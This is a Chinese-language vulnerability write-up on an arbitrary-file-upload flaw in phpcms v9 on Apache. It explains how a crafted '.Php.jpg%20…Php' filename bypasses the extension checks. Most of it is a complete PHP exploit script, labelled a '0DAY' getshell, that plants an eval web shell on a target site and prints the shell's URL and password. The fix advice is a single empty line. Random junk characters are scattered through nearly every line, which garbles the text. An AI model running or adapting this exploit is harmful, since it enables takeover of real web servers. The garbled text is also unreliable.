漏洞类型: 文件上传导致任意代码执行: h+ ?' V" r2 g% w+ [% w" H
5 s# }5 S9 A# o% Q# _简要描述:
+ U7 O0 e6 K( Q% i, Z7 \$ j
$ O) z7 t1 L5 }3 Tphpcms v9 getshell (apache)! ]; f" W9 S( q0 g: T4 B
详细说明:
( b, A0 W; ]( g3 e* Z
! f9 J; O' B) n( }' a8 G漏洞文件:phpcms\modules\attachment\attachments.php' x0 A' E+ C5 e8 t- j$ @: w4 d m
* D' z: }- c3 r$ v) s& e% opublic function crop_upload() { (isset($GLOBALS["HTTP_RAW_POST_DATA"])) { $pic = $GLOBALS["HTTP_RAW_POST_DATA"]; if (isset($_GET['width']) && !empty($_GET['width'])) { $width = intval($_GET['width']); } if (isset($_GET['height']) && !empty($_GET['height'])) { $height = intval($_GET['height']); } if (isset($_GET['file']) && !empty($_GET['file'])) { $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号 if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键 if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) { $file = $_GET['file']; $basenamebasename = basename($file);//获取带有后缀的文件名 if (strpos($basename, 'thumb_')!==false) { $file_arr = explode('_', $basename); $basename = array_pop($file_arr); } $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename; } else { pc_base::load_sys_class('attachment','',0); $module = trim($_GET['module']); $catid = intval($_GET['catid']); $siteid = $this->get_siteid(); $attachment = new attachment($module, $catid, $siteid); $uploadedfile['filename'] = basename($_GET['file']); $uploadedfile['fileext'] = fileext($_GET['file']); if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) { $uploadedfile['isimage'] = 1; } $file_path = $this->upload_path.date('Y/md/'); pc_base::load_sys_func('dir'); dir_create($file_path); $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext']; $uploadedfile['filepath'] = date('Y/md/').$new_file; $aid = $attachment->add($uploadedfile); } $filepath = date('Y/md/'); file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控 } else { return false; } echo pc_base::load_config('system', 'upload_url').$filepath.$new_file; exit; } } 7 P2 ~2 L: m0 E- ]; Q0 \5 @3 i# D
后缀检测:phpcms\modules\attachment\functions\global.func.php- E5 {6 v& F* Q t" O( u7 A# u, L
3 l9 @/ v8 \7 ^/ d! F! i 0 @, E' y3 y+ _
+ G( }' X3 }0 P1 U. ?. P" }function is_image($file) { $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff'); $ext = fileext($file);关键地方 return in_array($ext,$ext_arr) ? $ext_arr :false; } 0 V @! z: S+ O! g5 B1 \3 S; X9 a
: n' e9 J3 `. G" g关键函数:
% a! \& h/ z: g( h; t2 Z8 I$ B" G& ?, H1 m1 {
3 R f( Q; O6 p# ^! `# ~
2 ]0 e( @4 m: D
function fileext($filename) { return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }
4 W, Z. t5 G1 ]# H7 r( G6 M/ z
/ q, o1 R3 w5 a+ O0 S Fileext函数是对文件后缀名的提取。% U7 f! k5 b1 @/ C, n4 z
根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
G. B: |$ W% m/ s; w2 G* O经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。) @, Y9 u) b0 Z" J7 s( L5 z
我们回到public function crop_upload() 函数中
6 A' v5 |! Z# Hif(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();
! [2 j9 q4 h6 B( W' i7 p在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
1 e. U- B* j4 [这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。- E* K7 d3 v/ T
经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。; D8 t3 b5 E9 `
最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。
" m- W8 ^$ T& Q2 \+ B3 ^看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。
+ B$ x; l# t0 n2 Q. o* V漏洞证明:
$ v9 z# U R, T" j Q, S
" _/ h6 I3 d6 l" M$ mexp:0 a: T8 p3 h$ i- h
8 z% \" \* d$ {7 {( E<?php
+ V& u! O! l0 t% V1 x* herror_reporting(E_ERROR);
3 Z& o, w2 ^# x( e6 l- W0 ]; n Gset_time_limit(0);0 P$ E+ c5 r# {1 R, t+ c- n
$pass="ln";
7 o& o) v1 Q: Z- m+ W$ jprint_r('
* d7 B/ Z; K3 R8 }: j; W+---------------------------------------------------------------------------+. H( `" U, c' A/ x# i
PHPCms V9 GETSHELL 0DAY 8 y w# p! O$ G/ h% r
code by L.N.
" H' m$ \5 o4 l, U( d
2 W& R6 |9 j. @* }" Z" Aapache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net, @9 C0 p2 k0 R/ G* a4 R# P. q0 L) g
+---------------------------------------------------------------------------+
7 h- m* \ n _ w) W) Y! i');
1 ~7 X+ ?! v& Vif ($argc < 2) {+ W5 q R) B, ^3 C7 L4 q
print_r('9 ?. t. i l% Y( T4 K6 h
+---------------------------------------------------------------------------+
; B+ F5 s: A+ a% }1 V- A$ q. bUsage: php '.$argv[0].' url path* r) Z4 ]$ J! p3 D; \: U
+ L* N6 Y: V8 A5 @: u$ x* B. x1 |
Example:
" s0 \8 x k6 m b( y1.php '.$argv[0].' lanu.sinaapp.com' B. [3 a$ Q5 f2 P* S8 x
2.php '.$argv[0].' lanu.sinaapp.com /phpcms
# O& E5 z& t' Q& y+---------------------------------------------------------------------------+" p6 b6 z7 S: R* B' S
');4 d' B5 `. _- }& _2 `
exit;' N. W9 ?& _5 s; P
}- g) l1 l7 t. D' _0 k
8 ^3 q; q4 [+ r! a- B5 A* Z+ _$url = $argv[1];5 g/ Z3 d* I9 m. U3 H
$path = $argv[2];! T% y" P f: \' B
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';" q+ M1 z* S4 p
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
& K( e$ i0 X' `% \3 g% Wif($ret=Create_dir($url,$path))
' Y# ~5 f6 m. L1 h7 U5 S{
4 c8 z- q3 [, o) ^/ M! O//echo $ret;& L1 D% O( _: o# t I
$pattern = "|Server:[^,]+?|U";% Q* f0 z) r& m# ?) @: b/ l4 Q
preg_match_all($pattern, $ret, $matches);
" W" T; F( V( u1 ~" ~if($matches[0][0])
: S! n$ m- l- R' r; F* e+ Z9 u4 C: M{( D+ r) h( X) ]
if(strpos($matches[0][0],'Apache') == false)0 q8 E. l. p; `# k V. P/ ~6 H# }' I
{
6 y4 \) w' A% A. g" u; t9 uecho "\n亲!此网站不是apache的网站。\n";exit;
" l0 w: X0 @. t* F& L}, _5 }; |% S6 E5 G
}
) }" l: b& o, T& H$ret = GetShell($url,$phpshell,$path,$file);
, v Z( Z% o6 M# k$pattern = "|http:\/\/[^,]+?\.,?|U";
) I( M, w& t1 W$ A* gpreg_match_all($pattern, $ret, $matches);
7 d9 }" p* {* k S3 \) ]if($matches[0][0])$ a( T: d, j3 Z; U+ p9 }, B ^
{
7 W" m( D, ^8 u) S4 l. }echo "\n".'密码为: '.$pass."\n";) ]! O- i3 W. j7 s1 m8 l% i
echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;- O& N; @/ E! l) j( {7 w [
}
0 U3 B( V& w" s! u- q% U. Belse
! ]9 g0 z4 M/ o; e{
$ M1 |+ @8 t5 \' s6 l5 h$pattern = "|\/uploadfile\/[^,]+?\.,?|U";
: W4 k# S& w0 i' `preg_match_all($pattern, $ret, $matches);- Q3 _* K, k- |2 s
if($matches[0][0])! s1 @) l1 t6 U& o6 d
{
* k! H$ v/ J8 E8 O/ X+ Recho "\n".'密码为: '.$pass."\n";
( r: t9 A* q! ^- B! N+ j$ F! `echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;. Q1 U+ W6 @+ ?6 r# L( j$ {1 k0 w
}9 f+ G& [- j) C( z$ a/ _$ }$ w
else! A. E- `9 G* k4 [3 [* u& l) U
{6 W, u7 v) V; ?
echo "\r\n没得到!\n";exit;) s6 T( y6 B$ V- j r' |1 i
}$ N) k# S* O/ o' F, y6 F) L
}
+ o O6 d2 |& A: z3 c9 _}
% Z5 t* o+ f' |- c: p6 ~. P! F# |9 e7 S2 }6 n- M6 w
function GetShell($url,$shell,$path,$js)$ O* E, l9 o' D9 X0 z+ [# p
{; W/ `% u7 [4 m% m
$content =$shell;
5 r" Z0 ~$ A+ n! z: x$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";2 Y# C% x8 ~7 B, d
$data .= "Host: ".$url."\r\n";0 c5 r! J& o( L3 U5 C% j4 o0 M5 Z5 x
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";3 N: ^! W9 g- F1 c
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
, c) s6 Z8 J3 h+ \$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
7 t; v: s* ^9 I) F$data .= "Connection: close\r\n";7 z4 g: q( p1 |" g. D
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";7 B0 ^9 o5 e p, Y* F
$data .= $content."\r\n";) r9 O, |+ k5 Y
$ock=fsockopen($url,80);
. Q8 u a4 U- L! ]if (!$ock)
: z: S& D% j+ ~{
% C* `. w. T" c" W$ R, A. Y- O [ jecho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
4 o, L; z2 ?: `7 f}8 i; G% R- Z9 D9 B3 \' p3 q
else
/ S0 ^, N- S/ ]- Q{( ^, G) u# _0 W. w
fwrite($ock,$data);
( E8 r; X$ u# A3 z8 _$resp = '';
# x7 A+ f1 l: w8 ]6 i' swhile (!feof($ock)): C3 }- ]4 d+ l3 ^. `
{
: c- L% w/ H- z! j( z2 p+ O6 ~; |) ]$resp.=fread($ock, 1024);% k+ D2 N' |. p8 O. K* y
}: i7 l: W% ]# y( J7 r; S
return $resp; I4 ^$ O/ m- [: \5 u2 y
}
& J! P1 _* Q+ A0 L* V* X* F}- [) O7 Q2 O' c# \; m
/ s. J0 [% X3 g2 c/ z+ L: X1 E. \
function Create_dir($url,$path='')
7 u$ a1 {3 b# i, Y& l1 @7 p c{
; Z# n% t9 P- x$ {, D$content ='I love you';3 H# h; X4 J1 w# ~/ V9 i8 x5 J1 X) [
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
6 E1 E& f8 e# n$data .= "Host: ".$url."\r\n";
* V9 Y" O& V) W2 b$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
* ~+ z& e; R' r5 ?$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
* ]" E- Z, t0 x u' K8 @6 x9 W9 j2 C i$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";* s+ S8 l0 U6 L$ {9 }$ a% q
$data .= "Connection: close\r\n";
' v3 o" w$ x7 o* q0 |* s: T( B$data .= "Content-Length: ".strlen($content)."\r\n\r\n";& C3 K& v6 A8 d& ~" r2 l! U5 {
$data .= $content."\r\n";
! ]8 z9 B+ n* D, L2 w! i7 Z/ Q" B$ock=fsockopen($url,80);( ]" w t/ t( c$ h
if (!$ock)
4 X t5 F: @4 \- v7 O* B, ?8 S{
+ Q) ^; P% ]$ becho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;7 ]# k4 [% K3 G: y
}; Q% P, _9 M$ @, h% U$ H1 j) ^
fwrite($ock,$data);' T. t2 T4 {* A
$resp = '';6 d7 B& w7 G2 M- m1 \! C
while (!feof($ock))
- `) w k1 H; K8 Y+ I{' N+ d3 r {" l% B; g9 \, t
$resp.=fread($ock, 1024);6 I; H7 Z( d! V
}
& q. {: C+ m) b9 Y4 | nreturn $resp;- H- w2 R C# }3 B0 \# s
}9 d) f& w9 j8 Z6 ?; U } K ` K0 H
?>
! {- }) w6 [& h5 \/ D
; f7 ?; } C: E" U- ~' `. Y修复方案:, b& U7 @& [0 D
; n, m. W, o9 D b0 _$ g过滤过滤再过滤
2 | m% _0 G E$ ~) |4 v: q' z6 K/ d2 S. n& U) \
|